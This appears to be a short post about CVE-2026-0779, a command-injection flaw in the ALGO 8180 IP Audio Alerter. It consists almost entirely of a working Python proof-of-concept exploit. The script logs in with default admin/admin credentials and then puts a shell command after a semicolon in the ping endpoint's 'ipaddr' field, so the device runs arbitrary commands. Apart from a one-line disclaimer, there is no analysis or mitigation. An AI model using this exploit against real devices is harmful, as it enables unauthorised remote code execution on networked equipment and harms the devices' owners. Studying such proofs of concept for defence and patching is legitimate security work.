CVE-2026-0779 ALGO 8180 IP Audio Alerter命令注入远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0779 PoC - ALGO 8180 IP Audio Alerter Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET = "http://target-ip" USERNAME = "admin" PASSWORD = "admin" def exploit(target_ip, cmd="id"): """Execute command via ping function injection""" session = requests.Session() # Step 1: Authentication login_url = f"{target_ip}/cgi-bin/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, timeout=10) # Step 2: Send malicious ping request with command injection ping_url = f"{target_ip}/cgi-bin/ping.cgi" # Inject command using semicolon separator injected_payload = f"127.0.0.1;{cmd}" ping_data = { "ipaddr": injected_payload, "count": "1" } resp = session.post(ping_url, data=ping_data, timeout=10) print(f"Response: {resp.text}") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: exploit(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "id") else: print(f"Usage: {sys.argv[0]} <target_ip> [command]")